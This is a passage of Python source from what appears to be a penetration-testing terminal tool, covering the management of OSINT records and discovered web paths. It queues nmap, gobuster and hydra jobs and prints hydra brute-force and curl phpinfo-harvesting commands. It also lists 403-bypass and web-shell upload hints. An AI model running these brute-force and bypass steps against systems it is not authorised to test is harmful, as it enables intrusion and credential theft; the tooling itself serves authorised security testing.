    all_data = om.list_osint_data(engagement_id)

    if not all_data:
        click.echo(click.style("\n  No OSINT data to delete.", fg='yellow'))
        click.pause()
        return

    # Use interactive selector
    selected_ids = set()
    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Type', 'width': 15, 'key': 'data_type'},
        {'name': 'Value', 'width': 40, 'key': 'value'},
        {'name': 'Source', 'width': 15, 'key': 'source'},
    ]

    def format_osint_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if value is None:
            return '-'
        if key == 'data_type':
            colors = {'email': 'cyan', 'domain': 'green', 'url': 'yellow', 'ip': 'magenta'}
            color = colors.get(value, 'white')
            return f'[{color}]{value}[/{color}]'
        # Truncate long values
        str_val = str(value) if value else '-'
        if len(str_val) > 40:
            str_val = str_val[:37] + '...'
        return str_val

    interactive_select(
        items=all_data,
        columns=columns,
        selected_ids=selected_ids,
        get_id=lambda o: o.get('id'),
        title='SELECT OSINT DATA TO DELETE',
        format_cell=format_osint_cell
    )

    if not selected_ids:
        click.echo("\n  No OSINT data selected.")
        click.pause()
        return

    # Confirm deletion
    click.echo(f"\n  OSINT records to delete: {len(selected_ids)}")
    if not click.confirm(click.style("  Are you sure you want to delete these records?", fg='red'), default=False):
        click.echo(click.style("  Cancelled.", fg='yellow'))
        click.pause()
        return

    # Delete records
    deleted = 0
    for oid in selected_ids:
        if om.delete_osint_data(oid):
            deleted += 1

    click.echo(click.style(f"\n  ✓ Deleted {deleted} OSINT record(s)", fg='green'))
    click.pause()


def _osint_quick_actions(engagement_id: int, om: 'OsintManager', all_data: list):
    """Perform quick actions on OSINT records (view/scan/copy)."""
    from rich.console import Console

    # Try to import pyperclip (optional dependency)
    try:
        import pyperclip
        has_clipboard = True
    except ImportError:
        has_clipboard = False

    console = Console()

    if not all_data:
        click.echo(click.style("\n✗ No OSINT data available!", fg='red'))
        click.pause()
        return

    try:
        # Prompt for record ID
        osint_id = click.prompt("\nEnter OSINT Record ID", type=int)

        # Find the record
        record = next((item for item in all_data if item.get('id') == osint_id), None)

        if not record:
            click.echo(click.style("\n✗ Record not found!", fg='red'))
            click.pause()
            return

        # Display record details
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo(click.style("QUICK ACTIONS", bold=True, fg='cyan'))
        click.echo("=" * 70)

        console.print(f"\n[bold]Record Details:[/bold]")
        console.print(f"  ID:     {record.get('id')}")
        console.print(f"  Type:   {record.get('data_type')}")
        console.print(f"  Value:  {record.get('value')}")
        console.print(f"  Source: {record.get('source', 'unknown')}")

        # Action menu
        console.print("\n[bold cyan]Available Actions:[/bold cyan]\n")
        console.print("  [1] [v] View Full Details")
        console.print("  [2] [s] Scan Target (launch recon job)")
        if has_clipboard:
            console.print("  [3] [c] Copy to Clipboard")
        else:
            console.print("  [3] [c] Copy to Clipboard [dim](pyperclip not installed)[/dim]")
        console.print("  [q] Back\n")

        action_input = click.prompt("Select option", type=str, default='q', show_default=False).strip()

        if action_input == 'q':
            return
        try:
            action = int(action_input)
        except ValueError:
            return
        if action == 1:
            # View full details
            _view_osint_record_details(record, console)
        elif action == 2:
            # Scan target - launch appropriate recon job
            _scan_osint_target(engagement_id, record)
        elif action == 3:
            # Copy to clipboard
            if not has_clipboard:
                click.echo(click.style("\n✗ pyperclip is not installed. Install it with: pip install pyperclip", fg='red'))
                click.pause()
            else:
                value = record.get('value', '')
                try:
                    pyperclip.copy(value)
                    click.echo(click.style(f"\n✓ Copied to clipboard: {value}", fg='green'))
                except Exception as e:
                    click.echo(click.style(f"\n✗ Failed to copy: {e}", fg='red'))
                click.pause()
        else:
            click.echo(click.style("Invalid action!", fg='red'))
            click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Record ID!", fg='red'))
        click.pause()


def _view_osint_record_details(record: dict, console):
    """View full details of an OSINT record."""
    import json

    DesignSystem.clear_screen()
    console.print(f"\n[bold cyan]Full Record Details[/bold cyan]\n")

    # Display all fields
    for key, value in record.items():
        if key == 'content' and value:
            try:
                content_data = json.loads(value)
                console.print(f"[yellow]{key}:[/yellow]")
                console.print(json.dumps(content_data, indent=2))
            except Exception:
                console.print(f"[yellow]{key}:[/yellow] {value[:200]}...")
        else:
            console.print(f"[yellow]{key}:[/yellow] {value}")

    click.pause("\nPress any key to continue...")


def _scan_osint_target(engagement_id: int, record: dict):
    """Launch reconnaissance job for OSINT target."""
    from souleyez.storage.jobs import JobManager

    data_type = record.get('data_type')
    value = record.get('value')

    click.echo("\n" + "=" * 70)
    click.echo(click.style("LAUNCH RECON JOB", bold=True, fg='cyan'))
    click.echo("=" * 70)

    # Suggest appropriate scan based on data type
    suggested_tools = []
    if data_type in ['domain_info', 'host', 'url']:
        suggested_tools = [
            ('nmap', f'nmap -sV -sC {value}'),
            ('dnsrecon', f'dnsrecon -d {value}'),
            ('whois', f'whois {value}'),
        ]
    elif data_type == 'ip':
        suggested_tools = [
            ('nmap', f'nmap -sV -sC {value}'),
            ('whois', f'whois {value}'),
        ]
    elif data_type == 'email':
        suggested_tools = [
            ('theHarvester', f'theHarvester -d {value.split("@")[1] if "@" in value else value} -b google'),
        ]
    else:
        click.echo(click.style(f"\n✗ No scan suggestions for data type: {data_type}", fg='yellow'))
        click.pause()
        return

    # Display suggestions
    click.echo(f"\nTarget: {value}")
    click.echo(f"Type: {data_type}\n")
    click.echo(click.style("Suggested Scans:", bold=True))

    for idx, (tool, command) in enumerate(suggested_tools, 1):
        click.echo(f"  [{idx}] {tool}: {command}")

    click.echo("\n  [q] Cancel\n")

    try:
        choice_input = click.prompt("Select scan to launch", type=str, default='q').strip()

        if choice_input == 'q':
            return

        try:
            choice = int(choice_input)
        except ValueError:
            return

        if 1 <= choice <= len(suggested_tools):
            tool, command = suggested_tools[choice - 1]

            # Launch job
            jm = JobManager()
            job_id = jm.add_job(
                engagement_id=engagement_id,
                tool=tool,
                command=command,
                target=value,
                status='pending'
            )

            click.echo(click.style(f"\n✓ Job queued! (ID: {job_id})", fg='green'))
            click.echo(f"Command: {command}")
            click.pause()
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid selection!", fg='red'))
        click.pause()


def _execute_webpath_quick_action(engagement_id: int, paths: list, hm: 'HostManager'):
    """Execute quick actions on discovered web paths."""
    DesignSystem.clear_screen()
    
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" ⚡ WEB PATH QUICK ACTIONS ".center(width - 2), bold=True, fg='yellow') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()
    
    # Categorize paths for quick actions
    admin_panels = [p for p in paths if any(x in p.get('url', '').lower() for x in ['admin', 'phpmyadmin', 'manager', 'console'])]
    phpinfo_pages = [p for p in paths if 'phpinfo' in p.get('url', '').lower()]
    upload_endpoints = [p for p in paths if 'upload' in p.get('url', '').lower()]
    test_dirs = [p for p in paths if 'test' in p.get('url', '').lower()]
    forbidden = [p for p in paths if p.get('status_code') == 403]
    
    actions = []
    
    if admin_panels:
        actions.append({
            'id': '1',
            'name': 'Test default credentials on admin panels',
            'count': len(admin_panels),
            'paths': admin_panels,
            'tool': 'hydra',
            'desc': 'Brute force with common admin credentials'
        })
    
    if phpinfo_pages:
        actions.append({
            'id': '2',
            'name': 'Extract info from phpinfo pages',
            'count': len(phpinfo_pages),
            'paths': phpinfo_pages,
            'tool': 'curl',
            'desc': 'Download and parse for sensitive data'
        })
    
    if upload_endpoints:
        actions.append({
            'id': '3',
            'name': 'Test file upload vulnerabilities',
            'count': len(upload_endpoints),
            'paths': upload_endpoints,
            'tool': 'manual',
            'desc': 'Test bypass techniques (double ext, MIME, magic bytes)'
        })
    
    if test_dirs:
        actions.append({
            'id': '4',
            'name': 'Enumerate test directories',
            'count': len(test_dirs),
            'paths': test_dirs,
            'tool': 'gobuster',
            'desc': 'Deep scan for sensitive test files'
        })
    
    if forbidden:
        actions.append({
            'id': '5',
            'name': 'Attempt 403 bypass',
            'count': len(forbidden),
            'paths': forbidden,
            'tool': 'manual',
            'desc': 'Try header manipulation, URL encoding, etc.'
        })
    
    if not actions:
        click.echo(click.style("  No quick actions available for current paths.", fg='yellow'))
        click.pause()
        return
    
    # Display available actions
    click.echo(click.style("  AVAILABLE QUICK ACTIONS", bold=True, fg='cyan'))
    click.echo("  " + "─" * (width - 4))
    click.echo()
    
    for action in actions:
        click.echo(f"  [{action['id']}] {action['name']}")
        count_text = f"{action['count']} target(s)"
        click.echo(f"      {click.style(count_text, fg='cyan')} - {action['desc']}")
        click.echo(f"      Tool: {action['tool']}")
        click.echo()
    
    click.echo("  [q] Cancel")
    click.echo()
    
    try:
        choice = click.prompt("  Select option", type=str, default='q', show_default=False).strip()
        
        if choice == 'q':
            return
        
        # Find selected action
        selected = next((a for a in actions if a['id'] == choice), None)
        
        if not selected:
            click.echo(click.style("  Invalid selection!", fg='red'))
            click.pause()
            return
        
        # Show targets
        click.echo()
        click.echo(click.style(f"  Selected: {selected['name']}", bold=True, fg='cyan'))
        click.echo()
        click.echo("  Targets:")
        for idx, path in enumerate(selected['paths'][:10], 1):
            click.echo(f"    {idx}. {path.get('url', '')}")
        if len(selected['paths']) > 10:
            click.echo(f"    ... and {len(selected['paths']) - 10} more")
        click.echo()
        
        if not click.confirm("  Execute this action?", default=True):
            return
        
        # Execute action based on type
        if selected['tool'] == 'hydra' and admin_panels:
            click.echo()
            click.echo(click.style("  ⚙️  Launching Hydra brute force...", fg='yellow'))
            # Queue hydra jobs for each admin panel
            # Note: This is a placeholder - actual implementation would queue real jobs
            click.echo(click.style("  ℹ️  Hydra integration coming soon!", fg='cyan'))
            click.echo("     For now, manually run:")
            for path in admin_panels[:3]:
                url = path.get('url', '')
                click.echo(f"     hydra -L users.txt -P passwords.txt {url} http-form-post")
        
        elif selected['tool'] == 'curl' and phpinfo_pages:
            click.echo()
            click.echo(click.style("  ⚙️  Downloading phpinfo pages...", fg='yellow'))
            for path in phpinfo_pages:
                url = path.get('url', '')
                click.echo(f"     curl '{url}' -o phpinfo_{path['id']}.html")
            click.echo(click.style("  ℹ️  Check downloaded files for DB credentials, paths, etc.", fg='cyan'))
        
        elif selected['tool'] == 'gobuster' and test_dirs:
            click.echo()
            click.echo(click.style("  ⚙️  Launching Gobuster for test directories...", fg='yellow'))
            click.echo(click.style("  ℹ️  Gobuster integration coming soon!", fg='cyan'))
            click.echo("     For now, manually run:")
            for path in test_dirs[:3]:
                url = path.get('url', '')
                base_url = url.rsplit('/', 1)[0] if '/' in url else url
                click.echo(f"     gobuster dir -u {base_url} -w /usr/share/wordlists/dirb/common.txt")
        
        else:
            click.echo()
            click.echo(click.style("  ℹ️  Manual testing required for this action.", fg='cyan'))
            click.echo("     Review the target URLs above and test manually.")
        
        click.echo()
        click.pause()
        
    except (KeyboardInterrupt, click.Abort):
        return


def _show_webpaths_table(paths: list, width: int):
    """Display web paths in a table format."""
    DesignSystem.clear_screen()
    
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" ALL WEB PATHS (TABLE VIEW) ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()
    
    if not paths:
        click.echo(click.style("  No paths found.", fg='yellow'))
        return
    
    # Table header
    click.echo(f"  {'ID':<6} {'Status':<8} {'Method':<8} {'URL':<70}")
    click.echo("  " + "─" * (width - 4))
    
    # Display paths
    for path in paths:
        path_id = str(path.get('id', 'N/A'))
        status = str(path.get('status_code', '---'))
        method = path.get('method', 'GET')[:7]
        url = path.get('url', '')[:70]
        
        # Color code by status
        if status.startswith('2'):
            status_color = 'green'
        elif status.startswith('3'):
            status_color = 'cyan'
        elif status.startswith('4'):
            status_color = 'yellow'
        elif status.startswith('5'):
            status_color = 'red'
        else:
            status_color = 'white'
        
        click.echo(f"  {path_id:<6} " + 
                   click.style(f"{status:<8}", fg=status_color) + 
                   f" {method:<8} {url}")
    
    click.echo()
    click.echo(f"  Total: {len(paths)} paths")
    click.echo()


def _webpaths_bulk_action_menu(engagement_id: int, paths: list, selected_ids: set, wpm) -> str:
    """Show bulk action menu for selected web paths."""
    from rich.console import Console
    console = Console()

    selected_paths = [p for p in paths if p.get('id') in selected_ids]

    if not selected_paths:
        return 'continue'

    console.print()
    console.print(f"  [bold]Selected: {len(selected_paths)} path(s)[/bold]")
    console.print("    \\[v] View path details")
    console.print("    \\[r] Run recommended action")
    console.print("    \\[e] Export to file")
    console.print("    \\[d] Delete selected")
    console.print("    \\[c] Clear selection")
    console.print("    \\[q] Back")
    console.print()

    try:
        action = click.prompt("  Select option", default="q", show_default=False).strip().lower()

        if action == 'q':
            return 'continue'
        elif action == 'c':
            return 'clear'
        elif action == 'v':
            # View path details - show first selected path or prompt if multiple
            if len(selected_paths) == 1:
                path = selected_paths[0]
            else:
                click.echo(f"\n  Multiple paths selected. Showing first path.")
                path = selected_paths[0]

            # Display path details
            DesignSystem.clear_screen()
            click.echo()
            click.echo(click.style("  PATH DETAILS", bold=True, fg='cyan'))
            click.echo("  " + "─" * 60)
            click.echo(f"  ID:          {path.get('id', 'N/A')}")
            click.echo(f"  URL:         {path.get('url', 'N/A')}")
            click.echo(f"  Status:      {path.get('status_code', 'N/A')}")
            click.echo(f"  Method:      {path.get('method', 'GET')}")
            click.echo(f"  Risk:        {path.get('risk', 'unknown')}")
            if path.get('redirect'):
                click.echo(f"  Redirect:    Yes → {path.get('redirect_url', 'N/A')}")
            click.echo()
            click.pause("  Press any key to continue...")
            return 'continue'
        elif action == 'r':
            # Run recommended action on selected paths
            from souleyez.storage.hosts import HostManager
            hm = HostManager()

            # Show quick action options based on path characteristics
            click.echo()
            click.echo(click.style("  Quick Actions:", bold=True))
            click.echo("    [1] Test default credentials (admin panels)")
            click.echo("    [2] Extract info from phpinfo pages")
            click.echo("    [3] Enumerate directories (gobuster)")
            click.echo("    [4] Attempt 403 bypass")
            click.echo("    [q] Cancel")
            click.echo()

            qa_choice = click.prompt("  Select option", default="0", show_default=False).strip()
            if qa_choice == 'q':
                return 'continue'
            elif qa_choice == '1':
                # Hydra for admin panels
                from souleyez.engine.background import enqueue_job
                queued = 0
                for path in selected_paths:
                    url = path.get('url', '')
                    if any(x in url.lower() for x in ['admin', 'phpmyadmin', 'manager', 'console']):
                        # Extract host from URL
                        import re
                        match = re.match(r'https?://([^:/]+)', url)
                        if match:
                            host = match.group(1)
                            try:
                                enqueue_job(
                                    tool='hydra',
                                    target=host,
                                    args=['http-get', url],
                                    label=f"Web auth: {url[:40]}",
                                    engagement_id=engagement_id
                                )
                                queued += 1
                            except Exception:
                                pass
                click.echo(click.style(f"\n✓ Queued {queued} credential test(s)", fg='green'))
                click.pause()
            elif qa_choice == '2':
                # Extract phpinfo
                click.echo("\n  Extracting phpinfo pages...")
                for path in selected_paths:
                    url = path.get('url', '')
                    if 'phpinfo' in url.lower():
                        click.echo(f"    → {url}")
                click.echo(click.style("\n  Check pages manually for database credentials", fg='yellow'))
                click.pause()
            elif qa_choice == '3':
                # Gobuster enumeration
                from souleyez.engine.background import enqueue_job
                queued = 0
                for path in selected_paths:
                    url = path.get('url', '')
                    import re
                    match = re.match(r'(https?://[^/]+)', url)
                    if match:
                        base_url = match.group(1)
                        try:
                            enqueue_job(
                                tool='gobuster',
                                target=base_url,
                                args=['dir', '-u', url],
                                label=f"Dir enum: {url[:40]}",
                                engagement_id=engagement_id
                            )
                            queued += 1
                        except Exception:
                            pass
                click.echo(click.style(f"\n✓ Queued {queued} enumeration job(s)", fg='green'))
                click.pause()
            elif qa_choice == '4':
                # 403 bypass hints
                click.echo(click.style("\n  403 Bypass Techniques:", bold=True))
                click.echo("    • Add X-Forwarded-For: 127.0.0.1")
                click.echo("    • Try path variations: /path/ vs /path vs /./path")
                click.echo("    • Try HTTP method changes: POST, PUT, DELETE")
                click.echo("    • Add headers: X-Original-URL, X-Rewrite-URL")
                click.pause()
            return 'continue'
        elif action == 'e':
            # Export to file
            from pathlib import Path
            export_file = Path.home() / '.souleyez' / f'web_paths_export_{engagement_id}.txt'
            with open(export_file, 'w') as f:
                for path in selected_paths:
                    f.write(f"{path.get('url', '')}\n")
            click.echo(click.style(f"\n✓ Exported {len(selected_paths)} paths to {export_file}", fg='green'))
            click.pause()
            return 'clear'
        elif action == 'd':
            # Delete selected
            if click.confirm(f"\n  Delete {len(selected_paths)} path(s)?", default=False):
                deleted = 0
                for path in selected_paths:
                    try:
                        wpm.delete_web_path(path['id'])
                        deleted += 1
                    except Exception:
                        pass
                click.echo(click.style(f"\n✓ Deleted {deleted} path(s)", fg='green'))
                click.pause()
                return 'clear'

    except (KeyboardInterrupt, EOFError):
        pass

    return 'continue'


def view_web_paths(engagement_id: int):
    """Display and manage web paths with consistent UI pattern."""
    from souleyez.ui.interactive_selector import interactive_select
    from rich.console import Console
    from rich.table import Table

    hm = HostManager()
    wpm = WebPathsManager()
    console = Console()

    # Active filters
    filters = {
        'risk': None,
        'status': None,
        'host_id': None
    }

    PAGE_SIZE = 20
    current_page = 1
    view_all = False
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" WEB PATHS & REDIRECTS ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Get paths
        if filters['host_id']:
            all_paths = wpm.list_web_paths(host_id=filters['host_id'])
        else:
            all_paths = wpm.list_web_paths(engagement_id=engagement_id)

        # Apply filters
        filtered_paths = all_paths
        if filters['risk']:
            filtered_paths = [p for p in filtered_paths if _categorize_path_by_risk(p) == filters['risk']]
        if filters['status']:
            filtered_paths = [p for p in filtered_paths if p.get('status_code') == filters['status']]

        if not all_paths:
            console.print("\n[yellow]No web paths found.[/yellow]")
            console.print("[dim]Run directory enumeration (gobuster/feroxbuster) to discover paths[/dim]")
            click.pause()
            return

        # Show active filters
        active_filters = []
        if filters['risk']:
            active_filters.append(f"risk: {filters['risk']}")
        if filters['status']:
            active_filters.append(f"status: {filters['status']}")
        if filters['host_id']:
            hosts = hm.list_hosts(engagement_id)
            host = next((h for h in hosts if h['id'] == filters['host_id']), None)
            if host:
                active_filters.append(f"host: {host.get('ip_address')}")

        if active_filters:
            click.echo()
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + ", ".join(active_filters))

        # Summary line with risk counts
        risk_counts = {'critical': 0, 'high': 0, 'medium': 0, 'low': 0, 'forbidden': 0}
        for path in all_paths:
            risk = _categorize_path_by_risk(path)
            risk_counts[risk] = risk_counts.get(risk, 0) + 1

        click.echo()
        summary_parts = [f"Total: {len(filtered_paths)}"]
        if risk_counts['critical']:
            summary_parts.append(click.style(f"Critical: {risk_counts['critical']}", fg='magenta'))
        if risk_counts['high']:
            summary_parts.append(click.style(f"High: {risk_counts['high']}", fg='red'))
        if risk_counts['medium']:
            summary_parts.append(click.style(f"Medium: {risk_counts['medium']}", fg='yellow'))
        if risk_counts['forbidden']:
            summary_parts.append(click.style(f"Forbidden: {risk_counts['forbidden']}", fg='bright_black'))
        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        # Sort by risk level
        risk_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3, 'forbidden': 4}
        sorted_paths = sorted(filtered_paths, key=lambda x: risk_order.get(_categorize_path_by_risk(x), 5))

        # Pagination
        total_pages = max(1, (len(sorted_paths) + PAGE_SIZE - 1) // PAGE_SIZE) if not view_all else 1
        if current_page > total_pages:
            current_page = total_pages

        if view_all:
            page_paths = sorted_paths
        else:
            start_idx = (current_page - 1) * PAGE_SIZE
            end_idx = start_idx + PAGE_SIZE
            page_paths = sorted_paths[start_idx:end_idx]

        # Build table
        table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
        table.add_column("○", width=5, justify="center", no_wrap=True)
        table.add_column("#", width=5, justify="right")
        table.add_column("Risk", width=10)
        table.add_column("Status", width=8, justify="center")
        table.add_column("URL", no_wrap=False)

        for idx, path in enumerate(page_paths, start=(current_page - 1) * PAGE_SIZE + 1 if not view_all else 1):
            path_id = path.get('id')
            checkbox = '●' if path_id in selected_ids else '○'
            risk = _categorize_path_by_risk(path)
            status = str(path.get('status_code', '-'))
            url = (path.get('url') or 'N/A')[:60]

            # Risk color (using standard colors)
            if risk == 'critical':
                risk_text = f"[magenta bold]{risk.upper()}[/magenta bold]"
            elif risk == 'high':
                risk_text = f"[red]{risk.upper()}[/red]"
            elif risk == 'medium':
                risk_text = f"[yellow]{risk.upper()}[/yellow]"
            elif risk == 'low':
                risk_text = f"[cyan]{risk}[/cyan]"
            else:
                risk_text = f"[bright_black]{risk}[/bright_black]"

            # Status code color
            if status.startswith('2'):
                status_text = f"[green]{status}[/green]"
            elif status.startswith('3'):
                status_text = f"[yellow]{status}[/yellow]"
            elif status.startswith('4'):
                status_text = f"[red]{status}[/red]"
            else:
                status_text = status

            table.add_row(checkbox, str(idx), risk_text, status_text, url)

        console.print(table)

        # Pagination info
        if not view_all and total_pages > 1:
            click.echo()
            click.echo(f"  Page {current_page}/{total_pages}")

        # Selected count
        if selected_ids:
            click.echo()
            click.echo(f"  {click.style(f'✓ Selected: {len(selected_ids)} path(s)', fg='cyan', bold=True)}")

        # TIP and menu
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [v] View path details")
        click.echo("  [t] Toggle - Toggle pagination")
        click.echo("  [f] Risk - Filter by risk level")
        click.echo("  [s] Status - Filter by status code")
        click.echo("  [h] Host - Filter by target host")
        click.echo("  [+] Add - Manually add web path")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="0", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n':
                if current_page < total_pages:
                    current_page += 1
            elif choice == 'p':
                if current_page > 1:
                    current_page -= 1
            elif choice == 't':
                view_all = not view_all
                current_page = 1
            elif choice == 'v':
                # View path details - prompt for path number
                try:
                    path_num = click.prompt("  Enter path # to view", type=int)
                    if 1 <= path_num <= len(sorted_paths):
                        path = sorted_paths[path_num - 1]
                        _view_webpath_detail(path, hm)
                    else:
                        click.echo(click.style("  Invalid path number", fg='red'))
                        time.sleep(0.5)
                except (ValueError, click.Abort):
                    pass
            elif choice == 'f':
                filters['risk'] = _webpaths_filter_risk()
                current_page = 1
            elif choice == 's':
                filters['status'] = _webpaths_filter_status()
                current_page = 1
            elif choice == 'h':
                filters['host_id'] = _filter_webpath_by_host(engagement_id, hm)
                current_page = 1
            elif choice == '+':
                _add_new_web_path(engagement_id, hm, wpm)
            elif choice == 'c':
                filters = {'risk': None, 'status': None, 'host_id': None}
                current_page = 1
                click.echo(click.style("  ✓ Filters cleared", fg='green'))
                time.sleep(0.5)
            elif choice == 'i':
                _webpaths_select(sorted_paths, selected_ids)
                if selected_ids:
                    result = _webpaths_bulk_action_menu(engagement_id, all_paths, selected_ids, wpm)
                    if result == 'clear':
                        selected_ids.clear()
            else:
                # Try to parse as path row number
                try:
                    row_num = int(choice)
                    if 1 <= row_num <= len(sorted_paths):
                        path = sorted_paths[row_num - 1]
                        _view_webpath_detail(path, hm)
                except ValueError:
                    pass

        except (KeyboardInterrupt, click.Abort):
            return


def _webpaths_filter_risk():
    """Prompt for risk level filter."""
    click.echo("\nSelect risk level:")
    risks = ['critical', 'high', 'medium', 'low', 'forbidden']
    click.echo("  [q] Clear filter")
    for idx, risk in enumerate(risks, 1):
        click.echo(f"  [{idx}] {risk.capitalize()}")

    try:
        choice_input = click.prompt("Risk", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(risks):
                return risks[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _webpaths_filter_status():
    """Prompt for status code filter."""
    click.echo("\nSelect status code:")
    statuses = [200, 301, 302, 403, 404, 500]
    click.echo("  [q] Clear filter")
    for idx, status in enumerate(statuses, 1):
        click.echo(f"  [{idx}] {status}")

    try:
        choice_input = click.prompt("Status", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(statuses):
                return statuses[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _webpaths_select(paths: list, selected_ids: set):
    """Select web paths using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    if not paths:
        click.echo(click.style("  No paths to select.", fg='yellow'))
        click.pause()
        return

    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Risk', 'width': 10, 'key': 'risk'},
        {'name': 'Status', 'width': 8, 'key': 'status_code'},
        {'name': 'URL', 'key': 'url'},
    ]

    # Add risk to path items
    path_items = []
    for p in paths:
        path_items.append({
            'id': p.get('id'),
            'risk': _categorize_path_by_risk(p),
            'status_code': p.get('status_code', '-'),
            'url': p.get('url', 'N/A'),
        })

    def format_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if key == 'risk':
            risk = value or 'low'
            if risk == 'critical':
                return f'[magenta bold]{risk.upper()}[/magenta bold]'
            elif risk == 'high':
                return f'[red]{risk.upper()}[/red]'
            elif risk == 'medium':
                return f'[yellow]{risk.upper()}[/yellow]'
            elif risk == 'low':
                return f'[cyan]{risk}[/cyan]'
            return f'[bright_black]{risk}[/bright_black]'
        if key == 'url':
            return (value or 'N/A')[:55]
        if value is None:
            return '-'
        return str(value)

    interactive_select(
        items=path_items,
        columns=columns,
        selected_ids=selected_ids,
        get_id=lambda p: p.get('id'),
        title='SELECT WEB PATHS',
        format_cell=format_cell
    )


def _view_webpath_detail(path: dict, hm):
    """Show detailed view for a web path."""
    from rich.console import Console

    console = Console()
    DesignSystem.clear_screen()

    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" WEB PATH DETAILS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    # Risk badge
    risk = _categorize_path_by_risk(path)
    if risk == 'critical':
        risk_color = 'magenta'
    elif risk == 'high':
        risk_color = 'red'
    elif risk == 'medium':
        risk_color = 'yellow'
    elif risk == 'low':
        risk_color = 'cyan'
    else:
        risk_color = 'bright_black'

    console.print(f"  [{risk_color} bold]{risk.upper()}[/{risk_color} bold]  {path.get('url', 'N/A')}")
    click.echo()

    # Details
    click.echo(f"  {click.style('Path ID:', bold=True)} {path.get('id', 'N/A')}")
    click.echo(f"  {click.style('Status Code:', bold=True)} {path.get('status_code', 'N/A')}")
    click.echo(f"  {click.style('Content Length:', bold=True)} {path.get('content_length', 'N/A')}")
    click.echo()

    # Host info
    host_id = path.get('host_id')
    if host_id:
        hosts = hm.list_hosts(None)  # Get all hosts
        host = next((h for h in hosts if h['id'] == host_id), None)
        if host:
            click.echo(f"  {click.style('Host:', bold=True)} {host.get('ip_address', 'N/A')} ({host.get('hostname', 'N/A')})")
            click.echo()

    # Exploitation guidance based on risk
    url = (path.get('url') or '').lower()
    click.echo(f"  {click.style('Exploitation Guidance:', bold=True)}")
    if 'phpmyadmin' in url or 'admin' in url:
        click.echo("    • Test default credentials (admin/admin, root/root)")
        click.echo("    • Check for known CVEs for this panel version")
    elif 'phpinfo' in url:
        click.echo("    • Extract database credentials from config")
        click.echo("    • Check for sensitive path disclosures")
    elif 'upload' in url:
        click.echo("    • Test file upload bypass techniques")
        click.echo("    • Try uploading web shells with various extensions")
    elif path.get('status_code') == 403:
        click.echo("    • Try 403 bypass techniques:")
        click.echo("      - URL encoding, double encoding")
        click.echo("      - X-Original-URL / X-Rewrite-URL headers")
        click.echo("      - Path traversal variations")
    else:
        click.echo("    • Enumerate for sensitive files")
        click.echo("    • Check for directory listings")
    click.echo()

    click.pause("  Press any key to return...")


def _filter_webpath_by_host(engagement_id: int, hm: 'HostManager'):
    """Prompt for host filter for web paths."""
    hosts = hm.list_hosts(engagement_id)

    if not hosts:
        click.echo(click.style("\nNo hosts found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect host:")
    click.echo("  [q] Clear filter")
    for idx, host in enumerate(hosts[:20], 1):
        click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

    try:
        choice_input = click.prompt("Host", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(hosts):
                return hosts[choice - 1]['id']
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _add_new_web_path(engagement_id: int, hm: 'HostManager', wpm: 'WebPathsManager'):
    """Add a new web path manually."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW WEB PATH")
    click.echo("=" * 80 + "\n")

    try:
        # Host selection
        hosts = hm.list_hosts(engagement_id)

        if not hosts:
            click.echo(click.style("✗ No hosts found. Please add hosts first!", fg='red'))
            click.pause()
            return

        click.echo("Select host:")
        for idx, host in enumerate(hosts[:20], 1):
            click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

        host_choice = click.prompt("Select host", type=int)
        if not (1 <= host_choice <= len(hosts)):
            click.echo(click.style("✗ Invalid host selection!", fg='red'))
            click.pause()
            return

        host_id = hosts[host_choice - 1]['id']

        # URL/Path
